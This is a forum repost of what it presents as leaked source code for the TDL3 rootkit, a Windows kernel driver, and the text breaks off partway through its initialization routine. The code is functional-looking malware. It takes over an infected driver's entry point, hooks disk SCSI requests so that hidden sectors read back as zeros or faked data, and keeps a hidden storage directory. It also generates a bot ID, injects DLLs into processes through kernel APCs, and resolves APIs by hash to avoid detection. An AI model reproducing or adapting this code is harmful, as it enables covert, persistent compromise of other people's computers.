TDL3 Source Code

这是RootkitTDL3源代码,貌似是真的.....感谢fyyre 排版有点悲剧 不要见怪了......

原文地址http://www.opensc.ws/trojan-malware-samples/13873-tdl3-driver-source.html
代码转自 http://pastebin.com/UpvGUw19 

#include "inc.h"
 
#pragma comment(linker,"/subsystem:native /entry:DriverEntry")
 
NT_BEGIN
EXTERN_C_START
 
DWORD GetDelta();
NTSTATUS Reinitialize(PDEVICE_OBJECT,BOOLEAN);
VOID GetEPNameOffset();
 
NTSTATUS TDLEntry(PDRIVER_OBJECT pdoDriver,PUNICODE_STRING pusRegistry)
{
 
        PTDL_START ptsStart;
        PIMAGE_NT_HEADERS pinhHeader;
 
        GET_TDL_ADDRESSES->pdoDeviceDisk=(PDEVICE_OBJECT)pusRegistry;
        pinhHeader=(PIMAGE_NT_HEADERS)RtlImageNtHeader(pdoDriver->DriverStart);
        ptsStart=(PTDL_START)RtlOffsetToPointer(pdoDriver->DriverStart,pinhHeader->OptionalHeader.AddressOfEntryPoint+TDL_START_SIZE-sizeof(TDL_START));
        GET_TDL_ADDRESSES->ullFSOffset=ptsStart->ullDriverCodeOffset;
        pinhHeader->OptionalHeader.AddressOfEntryPoint=(DWORD)(DWORD_PTR)ptsStart->pdiOEP;
        pinhHeader->OptionalHeader.CheckSum=ptsStart->dwCheckSum;
        pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].Size=ptsStart->dwSectionSecuritySize;
        pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY].VirtualAddress=ptsStart->dwSectionSecurityVirtualAddress;
        GetEPNameOffset();
        *GET_TDL_ADDRESSES->cBotID=0;
        if(!NT_SUCCESS(Reinitialize(0,FALSE)))
        {
                IoRegisterFsRegistrationChange(GET_TDL_ADDRESSES->pdoDriver,ADDRESS_DELTA(PDRIVER_FS_NOTIFICATION,Reinitialize));
        }
        return STATUS_SUCCESS;
}
VOID GetEPNameOffset()
{
        CHAR cSystem[]={'S','y','s','t','e','m',0};
 
        GET_TDL_ADDRESSES->dwEPNameOffset=0;
        while(memcmp(RtlOffsetToPointer(IoGetCurrentProcess(),GET_TDL_ADDRESSES->dwEPNameOffset),cSystem,sizeof(cSystem))!=0)
        {
                GET_TDL_ADDRESSES->dwEPNameOffset++;
        }
        return;
}
 
PVOID Unxor(PVOID pvData,DWORD dwSize,BYTE bKey)
{
        DWORD dwData;
 
        for(dwData=0;dwData<dwSize;dwData++)
        {
                ((PBYTE)pvData)[dwData]^=dwData+bKey;
        }
        return pvData;
};
 
NTSTATUS SCSICmd(PDEVICE_OBJECT pdoDevice,PDRIVER_DISPATCH pddDispatch,BYTE bOpCode,BYTE bDataIn,PVOID pvBuffer,DWORD dwBufferSize,DWORD dwAddress)
{
        SCSI_REQUEST_BLOCK srbBuffer;
        SENSE_DATA sdData;
        IO_STATUS_BLOCK iosbStatus;
        KEVENT keEvent;
        PIRP piIrp;
        PMDL pmMdl;
        PIO_STACK_LOCATION pislStack;
 
        memset(&srbBuffer,0,sizeof(srbBuffer));
        memset(&sdData,0,sizeof(sdData));
        srbBuffer.Length=sizeof(srbBuffer);
        srbBuffer.Function=SRB_FUNCTION_EXECUTE_SCSI;
        srbBuffer.QueueAction=SRB_FLAGS_DISABLE_AUTOSENSE;
        srbBuffer.CdbLength=CDB10GENERIC_LENGTH;
        srbBuffer.SenseInfoBufferLength=sizeof(sdData);
        srbBuffer.SenseInfoBuffer=&sdData;
        srbBuffer.DataTransferLength=dwBufferSize;
        srbBuffer.DataBuffer=pvBuffer;
        srbBuffer.TimeOutValue=5000;
        srbBuffer.QueueSortKey=dwAddress;
        srbBuffer.SrbFlags=bDataIn|SRB_FLAGS_DISABLE_AUTOSENSE;
        srbBuffer.Cdb[0]=bOpCode;
        srbBuffer.Cdb[2]=(BYTE)((dwAddress&0xff000000)>>24); 
        srbBuffer.Cdb[3]=(BYTE)((dwAddress&0xff0000)>>16); 
        srbBuffer.Cdb[4]=(BYTE)((dwAddress&0xff00)>>8); 
        srbBuffer.Cdb[5]=(BYTE)(dwAddress&0xff);
        if(dwAddress!=0)
        {
                DWORD dwSectors;
 
                dwSectors=dwBufferSize/0x200;
                srbBuffer.Cdb[7]=(BYTE)((dwSectors&0xff00)>>8);
                srbBuffer.Cdb[8]=(BYTE)(dwSectors&0xff);
        }
        KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
        piIrp=IoAllocateIrp(pdoDevice->StackSize,FALSE);
        if(piIrp!=0)
        {
                pmMdl=IoAllocateMdl(pvBuffer,dwBufferSize,0,0,piIrp);
                srbBuffer.OriginalRequest=piIrp;
                piIrp->MdlAddress=pmMdl;
                MmProbeAndLockPages(pmMdl,KernelMode,IoModifyAccess);
                piIrp->UserIosb=&iosbStatus;
                piIrp->UserEvent=&keEvent;
                piIrp->Flags=IRP_SYNCHRONOUS_API|IRP_NOCACHE;
                piIrp->Tail.Overlay.Thread=KeGetCurrentThread();
                pislStack=IoGetNextIrpStackLocation(piIrp);
                pislStack->DeviceObject=pdoDevice;
                pislStack->MajorFunction=IRP_MJ_SCSI;
                pislStack->Parameters.Scsi.Srb=&srbBuffer;
                piIrp->CurrentLocation--;
                pislStack=IoGetNextIrpStackLocation(piIrp);
                piIrp->Tail.Overlay.CurrentStackLocation=pislStack;
                pislStack->DeviceObject=pdoDevice;
                if(pddDispatch(pdoDevice,piIrp)==STATUS_PENDING)
                {
                        KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,0);
                }
                return iosbStatus.Status;
        }
        return STATUS_INSUFFICIENT_RESOURCES;
}
 
extern "C"
{
        #include "gz.cpp"
        #include "md4.cpp"
        #include "socket.cpp"
        #include "tdlini.cpp"
        #include "tdlfs.cpp"
 
}
 
NTSTATUS MJCompletion(PDEVICE_OBJECT pdoDevice,PIRP piIrp,PVOID pvContext)
{
        NTSTATUS ntsStatus;
 
        if(NT_SUCCESS(piIrp->IoStatus.Status))
        {
                PVOID pvBuffer;
                PIO_STACK_LOCATION pislStack;
                DWORD dwSector;
 
                pislStack=IoGetCurrentIrpStackLocation(piIrp);
                pvBuffer=MmGetSystemAddressForMdlSafe(piIrp->MdlAddress,NormalPagePriority);
                if(((PDISK_COMPLETION)pvContext)->dwSectorOffset+(DWORD)piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector)
                {
                        DWORD dwOffset;
 
                        if(((PDISK_COMPLETION)pvContext)->dwSectorOffset<GET_TDL_ADDRESSES->dwFirstHiddenSector)
                        {
                                dwOffset=(GET_TDL_ADDRESSES->dwFirstHiddenSector-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize;
                        }
                        else
                        {
                                dwOffset=0;
                        }
                        memset(RtlOffsetToPointer(pvBuffer,dwOffset),0,(DWORD)piIrp->IoStatus.Information-dwOffset);
                }
                else
                {
                        for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)
                        {
                                if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0)
                                        &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,((PDISK_COMPLETION)pvContext)->dwSectorOffset,piIrp->IoStatus.Information/GET_TDL_ADDRESSES->dwSectorSize))
                                {
                                        memcpy(RtlOffsetToPointer(pvBuffer,GET_TDL_ADDRESSES->thsSectors[dwSector].dwOffset+(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset-((PDISK_COMPLETION)pvContext)->dwSectorOffset)*GET_TDL_ADDRESSES->dwSectorSize),GET_TDL_ADDRESSES->thsSectors[dwSector].pvValue,GET_TDL_ADDRESSES->thsSectors[dwSector].dwSize);
                                }
                        }
                }
        }
        if(((PDISK_COMPLETION)pvContext)->picrCompletion!=0)
        {
                ntsStatus=((PDISK_COMPLETION)pvContext)->picrCompletion(pdoDevice,piIrp,((PDISK_COMPLETION)pvContext)->pvContext);
        }
        ExFreePool(pvContext);
        return ntsStatus;
}
 
NTSTATUS MJDispatch(PDEVICE_OBJECT pdoDevice,PIRP piIrp)
{
        PIO_STACK_LOCATION pislStack;
        PDISK_COMPLETION pdcCompletion=0;
        DWORD dwSector;
 
        pislStack=IoGetCurrentIrpStackLocation(piIrp);
        if((pdoDevice==GET_TDL_ADDRESSES->pdoFSDevice)
                &&(pislStack->FileObject!=0)
                &&(pislStack->FileObject->FileName.Length>sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)+2*sizeof(L'\\')-sizeof(WCHAR))
                &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0))
        {
                piIrp->IoStatus.Status=STATUS_NOT_IMPLEMENTED;
                piIrp->IoStatus.Information=0;
                TDLFSDispatch(pdoDevice,piIrp);
                IoCompleteRequest(piIrp,IO_NO_INCREMENT);
                return piIrp->IoStatus.Status;
        }
        if((pdoDevice==GET_TDL_ADDRESSES->pdoDeviceDisk)
                &&(!((pislStack->FileObject!=0)
                        &&(pislStack->FileObject->FileName.Length==sizeof(L'\\')+sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))
                        &&(memcmp(RtlOffsetToPointer(pislStack->FileObject->FileName.Buffer,sizeof(L'\\')),GET_TDL_ADDRESSES->wcTDLDirectory,sizeof(GET_TDL_ADDRESSES->wcTDLDirectory)-sizeof(WCHAR))==0)))
                &&(pislStack->MajorFunction==IRP_MJ_SCSI)
                &&(pislStack->Parameters.Scsi.Srb->Function==SRB_FUNCTION_EXECUTE_SCSI))
        {
                BOOL bComplete=FALSE;
                BOOL bEnd=FALSE;
 
                if(pislStack->Parameters.Scsi.Srb->QueueSortKey+pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize>GET_TDL_ADDRESSES->dwFirstHiddenSector)
                {
                        bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0;
                        bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0;
                }
                else
                {
                        for(dwSector=0;dwSector<GET_TDL_ADDRESSES->dwHiddenSectors;dwSector++)
                        {
                                if((GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset!=0)
                                        &&ADDRESS_IN(GET_TDL_ADDRESSES->thsSectors[dwSector].dwSectorOffset,pislStack->Parameters.Scsi.Srb->QueueSortKey,pislStack->Parameters.Scsi.Srb->DataTransferLength/GET_TDL_ADDRESSES->dwSectorSize))
                                {
                                        bEnd=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_OUT)!=0;
                                        bComplete=(pislStack->Parameters.Scsi.Srb->SrbFlags&SRB_FLAGS_DATA_IN)!=0;
                                }
                        }
                }
                if(bEnd)
                {
                        pislStack->Parameters.Scsi.Srb->SrbStatus=SRB_STATUS_SUCCESS;
                        pislStack->Parameters.Scsi.Srb->InternalStatus=SRB_STATUS_SUCCESS;
                        piIrp->IoStatus.Status=STATUS_SUCCESS;
                        IoCompleteRequest(piIrp,IO_NO_INCREMENT);
                        return STATUS_SUCCESS;
                }
                if(bComplete)
                {
                        pdcCompletion=(PDISK_COMPLETION)ExAllocatePool(NonPagedPool,sizeof(DISK_COMPLETION));
                        if(pdcCompletion!=0)
                        {
                                pdcCompletion->picrCompletion=pislStack->CompletionRoutine;
                                pdcCompletion->pvContext=pislStack->Context;
                                pdcCompletion->dwSectorOffset=pislStack->Parameters.Scsi.Srb->QueueSortKey;
                                pislStack->Control=SL_INVOKE_ON_SUCCESS|SL_INVOKE_ON_ERROR|SL_INVOKE_ON_CANCEL;
                                pislStack->Context=pdcCompletion;
                                pislStack->CompletionRoutine=ADDRESS_DELTA(PIO_COMPLETION_ROUTINE,MJCompletion);
                        }
                }
        }
        return GET_TDL_ADDRESSES->pddDiskMJ[pislStack->MajorFunction](pdoDevice,piIrp);
}
 
NTSTATUS GenerateBotID(PCHAR pcBotID,DWORD dwBotIDSize)
{
        CHAR cBotIDFormat[]={'%','x','%','x',0};
        WCHAR wcVolumeObject[]={L'\\',L's',L'y',L's',L't',L'e',L'm',L'r',L'o',L'o',L't',0};
        UUID uuidBotID;
        UNICODE_STRING usName;
        HANDLE hVolume;
        FILE_FS_VOLUME_INFORMATION ffviInfo;
        IO_STATUS_BLOCK iosbStatus;
        OBJECT_ATTRIBUTES oaAttributes;
 
        RtlInitUnicodeString(&usName,wcVolumeObject);
        InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
        ffviInfo.VolumeSerialNumber=0;
        if(NT_SUCCESS(ZwOpenFile(&hVolume,SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE,FILE_SYNCHRONOUS_IO_NONALERT)))
        {
                ZwQueryVolumeInformationFile(hVolume,&iosbStatus,&ffviInfo,sizeof(ffviInfo),FileFsVolumeInformation);
                ZwClose(hVolume);
        }
        if(ExUuidCreate(&uuidBotID)==0)
        {
                _snprintf(pcBotID,dwBotIDSize,cBotIDFormat,*(PDWORD)RtlOffsetToPointer(uuidBotID.Data4,4),ffviInfo.VolumeSerialNumber);
                return STATUS_SUCCESS;
        }       
        return STATUS_RETRY;
}
 
__declspec(naked) DWORD GetDelta()
{
        __asm
        {
                call delta
                delta:
                pop     eax
                sub     eax,offset delta
                retn
        }
}
 
__declspec(noinline) PVOID GetNtoskrnlBase()
{
        BYTE bIDT[6];
        PIDT_ENTRY pieIDTEntry;
        PWORD pwAddress;
 
        __asm
        {
                sidt bIDT;
        }
        pieIDTEntry=(PIDT_ENTRY)(*((PDWORD_PTR)&bIDT[2])+8*0x40);
        pwAddress=PWORD(pieIDTEntry->dw64OffsetLow|(pieIDTEntry->dw64OffsetHigh<<16));
        do
        {
                pwAddress=(PWORD)ALIGNDOWN(pwAddress,PAGE_SIZE);
                if(*pwAddress=='ZM')
                {
                        return (PVOID)pwAddress;
                }
                pwAddress--;
        }
        while(pwAddress!=0);
        return 0;
}
 
VOID __stdcall APCKernelRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID* ppvMemory,PVOID*)
{
        ExFreePool(pkaApc);
        return;
}
 
NTSTATUS DllInject(HANDLE hProcessID,PEPROCESS pepProcess,PKTHREAD pktThread,PCHAR pcDll,BOOLEAN bAlert)
{
        HANDLE hProcess;
        OBJECT_ATTRIBUTES oaAttributes={sizeof(OBJECT_ATTRIBUTES)};
        CLIENT_ID cidProcess;
        PVOID pvMemory=0;
        DWORD dwSize;
        CHAR cDllReal[MAX_PATH];
        CHAR cDllRealFormat[]={'\\','\\','?','\\','g','l','o','b','a','l','r','o','o','t','%','S','\\','%','S','\\','%','s',0};
        PCHAR pcDllReal;
 
        if(*pcDll!='\\')
        {
                dwSize=_snprintf(cDllReal,RTL_NUMBER_OF(cDllReal)-1,cDllRealFormat,GET_TDL_ADDRESSES->wcFSDevice,GET_TDL_ADDRESSES->wcTDLDirectory,pcDll)+1;
                pcDllReal=cDllReal;
        }
        else
        {
                pcDllReal=pcDll;
                dwSize=strlen(pcDll)+1;
        }
        cidProcess.UniqueProcess=hProcessID;
        cidProcess.UniqueThread=0;
        if(NT_SUCCESS(ZwOpenProcess(&hProcess,PROCESS_ALL_ACCESS,&oaAttributes,&cidProcess)))
        {
                if(NT_SUCCESS(ZwAllocateVirtualMemory(hProcess,&pvMemory,0,&dwSize,MEM_RESERVE|MEM_COMMIT,PAGE_READWRITE)))
                {
                        KAPC_STATE kasState;
                        PKAPC pkaApc;
 
                        KeStackAttachProcess(pepProcess,&kasState);
                        strcpy(pvMemory,pcDllReal);
                        KeUnstackDetachProcess(&kasState);
                        pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));
                        if(pkaApc!=0)
                        {
                                KeInitializeApc(pkaApc,pktThread,0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCKernelRoutine),0,GET_TDL_ADDRESSES->pvLoadLibraryExA,UserMode,pvMemory);
                                KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);
                                return STATUS_SUCCESS;
                        }
                }
                ZwClose(hProcess);
        }
        return STATUS_NO_MEMORY;
}
 
VOID WIInjector(PVOID pvContext)
{
        CHAR cAny[]=TDL_CONFIG_INJECTOR_ANY;
        CHAR cSection[]=TDL_CONFIG_INJECTOR;
        CHAR cDll[MAX_PATH];
 
        
        CHAR cSection2[]=TDL_CONFIG_MAIN;
        CHAR cKey[]={'d','a','t','e',0};
 
 
        DWORD dwDate=TDLIniReadDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,0);
        DWORD dwCurrent;
        
        LARGE_INTEGER liTime;
        KeQuerySystemTime(&liTime);
        RtlTimeToSecondsSince1970(&liTime,&dwCurrent);
 
        //CHAR cDebug[]={'D','A','T','E','%','d',' ','%','d',' ','%','d',' ','%','d','\n',0};
        //DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,0);
 
 
        //if(dwCurrent-dwDate>=60*24*60)
        {
//              DbgPrint(cDebug,dwDate,dwCurrent,dwCurrent-dwDate,1);
                if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,cAny,0,cDll,sizeof(cDll)))
                {
                        DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE);
                }
                if(TDLIniReadString(GET_TDL_ADDRESSES->wcTDLConfig,cSection,RtlOffsetToPointer(((PWI_INJECT)pvContext)->pepProcess,GET_TDL_ADDRESSES->dwEPNameOffset),0,cDll,sizeof(cDll)))
                {
                        DllInject(((PWI_INJECT)pvContext)->hProcessID,((PWI_INJECT)pvContext)->pepProcess,((PWI_INJECT)pvContext)->pktThread,cDll,FALSE);
                }
        }
 
        KeSetEvent(&((PWI_INJECT)pvContext)->keEvent,(KPRIORITY)0,FALSE);
        return;
}
 
VOID __stdcall APCInjectRoutine(PKAPC pkaApc,PKNORMAL_ROUTINE*,PVOID*,PVOID*,PVOID*)
{
        WI_INJECT wiiItem;
 
        ExFreePool(pkaApc);
        wiiItem.pktThread=KeGetCurrentThread();
        wiiItem.pepProcess=IoGetCurrentProcess();
        wiiItem.hProcessID=PsGetCurrentProcessId();
        KeInitializeEvent(&wiiItem.keEvent,NotificationEvent,FALSE);
        ExInitializeWorkItem(&wiiItem.qiItem,ADDRESS_DELTA(PWORKER_THREAD_ROUTINE,WIInjector),&wiiItem);
        ExQueueWorkItem(&wiiItem.qiItem,DelayedWorkQueue);
        KeWaitForSingleObject(&wiiItem.keEvent,Executive,KernelMode,TRUE,0);
        return;
}
 
VOID LoadImageNotify(PUNICODE_STRING FullImageName,HANDLE hProcessID,PIMAGE_INFO ImageInfo)
{
        if(FullImageName!=0)
        {
                WCHAR wcKernel32Mask[]={L'*',L'\\',L'K',L'E',L'R',L'N',L'E',L'L',L'3',L'2',L'.',L'D',L'L',L'L',0};
                UNICODE_STRING usKernel32Mask;
 
                RtlInitUnicodeString(&usKernel32Mask,wcKernel32Mask);
                if(FsRtlIsNameInExpression(&usKernel32Mask,FullImageName,TRUE,0))
                {
                        PKAPC pkaApc;
 
                        if(GET_TDL_ADDRESSES->pvLoadLibraryExA==0)
                        {
                                GET_TDL_ADDRESSES->pvLoadLibraryExA=GetProcedureAddressByHash(ImageInfo->ImageBase,TDL_HASH_LOADLIBRARYEXA);
                        }
                        pkaApc=(PKAPC)ExAllocatePool(NonPagedPool,sizeof(KAPC));
                        if(pkaApc!=0)
                        {
                                KeInitializeApc(pkaApc,KeGetCurrentThread(),0,ADDRESS_DELTA(PKKERNEL_ROUTINE,APCInjectRoutine),0,0,KernelMode,0);
                                KeInsertQueueApc(pkaApc,0,0,IO_NO_INCREMENT);
                        }
                }
        }
        return;
}
 
VOID WIKnock(PVOID pvWIKnock)
{
        KEVENT keEvent;
 
        ExFreePool(pvWIKnock);
 
        /*
        CHAR cSection2[]=TDL_CONFIG_MAIN;
                CHAR cKey[]={'r','e','b','o','o','t','s',0};
                CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0};
                DWORD dwRand=(DWORD)rand()%100;
                DbgPrint(cDebug,cKey,dwRand);
                TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand);
        */
        
        KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
        while(TRUE)
        {
                
                LARGE_INTEGER liDelay;
 
 
                if((*GET_TDL_ADDRESSES->cBotID==0)
                        &&NT_SUCCESS(GenerateBotID(GET_TDL_ADDRESSES->cBotID,RTL_NUMBER_OF(GET_TDL_ADDRESSES->cBotID))))
                {
                        OBJECT_ATTRIBUTES oaAttributes;
                        WCHAR wcBotID[0x10+sizeof(L'\\')+1];
                        WCHAR wcBotIDFormat[]={L'\\',L'%',L'S',0};
                        UNICODE_STRING usName;
                        HANDLE hEvent;
 
                        _snwprintf(wcBotID,RTL_NUMBER_OF(wcBotID),wcBotIDFormat,GET_TDL_ADDRESSES->cBotID);
                        RtlInitUnicodeString(&usName,wcBotID);
                        InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
                        ZwCreateEvent(&hEvent,EVENT_ALL_ACCESS,&oaAttributes,NotificationEvent,TRUE);
                        return;
                }
                liDelay.QuadPart=(LONGLONG)-10*10000000;
 
                //liDelay.QuadPart=(LONGLONG)-1*10000000;
                KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay);
        }
        return;
}
/*
 
void WITimer(PVOID pvWITimer)
{
        CHAR cSection2[]=TDL_CONFIG_MAIN;
        CHAR cKey[]={'r','e','b','o','o','t','s',0};
        CHAR cDebug[]={'U','P','D','%','s',' ','%','d','\n',0};
        KEVENT keEvent;
 
        ExFreePool(pvWITimer);
        KeInitializeEvent(&keEvent,NotificationEvent,FALSE);
 
        while(TRUE)
        {
                DWORD dwRand=(DWORD)rand()%100;
                LARGE_INTEGER liDelay;
                
                DbgPrint(cDebug,cKey,dwRand);
                //TDLIniWriteDword(GET_TDL_ADDRESSES->wcTDLConfig,cSection2,cKey,dwRand);
 
                liDelay.QuadPart=(LONGLONG)-5*10000000;
                KeWaitForSingleObject(&keEvent,Executive,KernelMode,FALSE,&liDelay);
        }
        
}
*/
 
PIMAGE_SECTION_HEADER RvaToSectionHeader(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva)
{
        PIMAGE_SECTION_HEADER pishHeader;
        DWORD dwSection;
 
        pishHeader=IMAGE_FIRST_SECTION(pinhHeader);
        for(dwSection=0;dwSection<pinhHeader->FileHeader.NumberOfSections;dwSection++)
        {
                if((dwRva>=pishHeader->VirtualAddress)
                        &&(dwRva<(pishHeader->VirtualAddress+pishHeader->Misc.VirtualSize)))
                {
                        return pishHeader;
                }
                pishHeader++;
        }
        return 0;
}
 
DWORD RvaToFileOffset(PIMAGE_NT_HEADERS pinhHeader,DWORD dwRva)
{
        PIMAGE_SECTION_HEADER pishHeader;
 
        pishHeader=RvaToSectionHeader(pinhHeader,dwRva);
        if(pishHeader!=0)
        {
                return (DWORD)ALIGNDOWN(pishHeader->PointerToRawData,pinhHeader->OptionalHeader.FileAlignment)+(dwRva-pishHeader->VirtualAddress);
        }
        return 0;
}
 
DWORD PEChecksum(PVOID pvData,DWORD dwSize,WORD wChecksum)
{
        DWORD dwBytes=dwSize;
 
        while(dwBytes>0)
        {
                if(HIWORD((DWORD)wChecksum+(DWORD)*(PWORD)pvData)!=0)
                {
                        wChecksum++;
                }
                wChecksum+=*(PWORD)pvData;
                dwBytes-=sizeof(WORD);
                pvData=MAKE_PTR(pvData,sizeof(WORD),PVOID);
        }
        return wChecksum+dwSize;
}
 
__declspec(noinline) DWORD HashString(PCHAR pcString)
{
        DWORD dwResult=0;
 
        while(*pcString!=0)
        {
                dwResult=(0x1003f*dwResult)+(DWORD)(*((PWORD)pcString++));
        }
        return dwResult;
}
 
__declspec(noinline) PVOID GetProcedureAddressByHash(PVOID pvBase,DWORD dwHash)
{
        PIMAGE_NT_HEADERS pinhHeader;
        PIMAGE_EXPORT_DIRECTORY piedExport;
        PDWORD pdwNames;
        PDWORD pdwProcedures;
        PWORD pdwOrdinals;
        DWORD i;
 
        pinhHeader=(PIMAGE_NT_HEADERS)((DWORD_PTR)(((PIMAGE_DOS_HEADER)pvBase)->e_lfanew)+(DWORD_PTR)pvBase);
        piedExport=(PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)(pinhHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress)+(DWORD_PTR)pvBase);
        pdwNames=MAKE_PTR(pvBase,piedExport->AddressOfNames,PDWORD);
        pdwProcedures=MAKE_PTR(pvBase,piedExport->AddressOfFunctions,PDWORD);
        pdwOrdinals=MAKE_PTR(pvBase,piedExport->AddressOfNameOrdinals,PWORD);
        for(i=0;i<piedExport->NumberOfNames;i++)
        {
                if(HashString(MAKE_PTR(pvBase,pdwNames[i],PCHAR))==dwHash)
                {
                        return MAKE_PTR(pvBase,pdwProcedures[pdwOrdinals[i]],PVOID);
                }
        }
        return 0;
}
 
NTSTATUS MJStub(PDEVICE_OBJECT pdoDevice,PIRP piIrp)
{
        return GET_TDL_ADDRESSES->pddMJ(pdoDevice,piIrp);
}
 
NTSTATUS TDLInit(HANDLE hDriver)
{
        BYTE bDeviceName[MAX_PATH];
        DWORD dwSeed;
        DWORD dwCh;
        DWORD dwSize;
 
        GET_TDL_ADDRESSES->dwHiddenSectors=0;
        dwSeed=((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->SystemTime.LowPart;
        for(dwCh=0;dwCh<RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcTDLDirectory)-1;dwCh++)
        {
                GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=(WCHAR)('a'+(CHAR)(RtlRandom(&dwSeed)%('z'-'a')));
        }
        GET_TDL_ADDRESSES->wcTDLDirectory[dwCh]=0;
        GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoDriver->DeviceObject;
        while(GET_TDL_ADDRESSES->pdoFSDevice->DeviceType!=FILE_DEVICE_CONTROLLER)
        {
                GET_TDL_ADDRESSES->pdoFSDevice=GET_TDL_ADDRESSES->pdoFSDevice->NextDevice;
        }
        if(NT_SUCCESS(ObQueryNameString(GET_TDL_ADDRESSES->pdoFSDevice,bDeviceName,sizeof(bDeviceName),&dwSize)))
        {
                WCHAR wcFormatFSPath[]={L'%',L'w',L'Z',L'\\',L'%',L's',0};
                PIMAGE_NT_HEADERS pinhHeader;
                PIMAGE_NT_HEADERS pinhHeaderCache;
                PIMAGE_SECTION_HEADER pishHeader;
                PVOID pvMJStub;
                DWORD dwOldCR0;
                STARTING_VCN_INPUT_BUFFER svibBuffer={};
                RETRIEVAL_POINTERS_BUFFER rpbBuffer;
                WCHAR wcPartition[]={L'\\',L'?',L'?',L'\\',L'c',L':',0};
                UNICODE_STRING usName;
                HANDLE hPartition;
                DWORD dwClasterSize;
                OBJECT_ATTRIBUTES oaAttributes;
                IO_STATUS_BLOCK iosbStatus;
                FILE_FS_FULL_SIZE_INFORMATION fffsiInfo;
                PARTITION_INFORMATION piInfo;
                DWORD dwFirstSector=0;
                BOOT_SECTOR bsSector;
                MARK_HANDLE_INFO mhiInfo;
                DWORD dwRsrcOffset;
                PVOID pvRsrcOriginalOffset;
                DWORD dwRsrcSize;
                DWORD dwSector;
                HANDLE hSection;
                PVOID pvFile=0;
                PWORK_QUEUE_ITEM pwqiThread;
 
                _snwprintf(GET_TDL_ADDRESSES->wcFSDevice,RTL_NUMBER_OF(GET_TDL_ADDRESSES->wcFSDevice)-1,
                        wcFormatFSPath,&((POBJECT_NAME_INFORMATION)bDeviceName)->Name,GET_TDL_ADDRESSES->wcTDLDirectory);
                wcPartition[4]=*((PKUSER_SHARED_DATA)(DWORD_PTR)KI_USER_SHARED_DATA)->NtSystemRoot;
                RtlInitUnicodeString(&usName,wcPartition);
                InitializeObjectAttributes(&oaAttributes,&usName,OBJ_CASE_INSENSITIVE|OBJ_KERNEL_HANDLE,0,0);
                if(NT_SUCCESS(ZwOpenFile(&hPartition,FILE_READ_DATA|SYNCHRONIZE,&oaAttributes,&iosbStatus,FILE_SHARE_READ|FILE_SHARE_WRITE,FILE_SYNCHRONOUS_IO_NONALERT)))
                {
                        WCHAR wcIniFormat[]=TDL_CONFIG_FILE_FORMAT;
 
                        mhiInfo.VolumeHandle=hPartition;
                        mhiInfo.HandleInfo=MARK_HANDLE_PROTECT_CLUSTERS;
                        mhiInfo.UsnSourceInfo=USN_SOURCE_DATA_MANAGEMENT;
                        ZwFsControlFile(hDriver,0,0,0,&iosbStatus,FSCTL_MARK_HANDLE,&mhiInfo,sizeof(mhiInfo),0,0);
                        ZwQueryVolumeInformationFile(hPartition,&iosbStatus,&fffsiInfo,sizeof(fffsiInfo),FileFsFullSizeInformation);
                        ZwDeviceIoControlFile(hPartition,0,0,0,&iosbStatus,IOCTL_DISK_GET_PARTITION_INFO,0,0,&piInfo,sizeof(piInfo));
                        GET_TDL_ADDRESSES->dwSectorSize=fffsiInfo.BytesPerSector;
                        dwClasterSize=fffsiInfo.SectorsPerAllocationUnit*fffsiInfo.BytesPerSector;
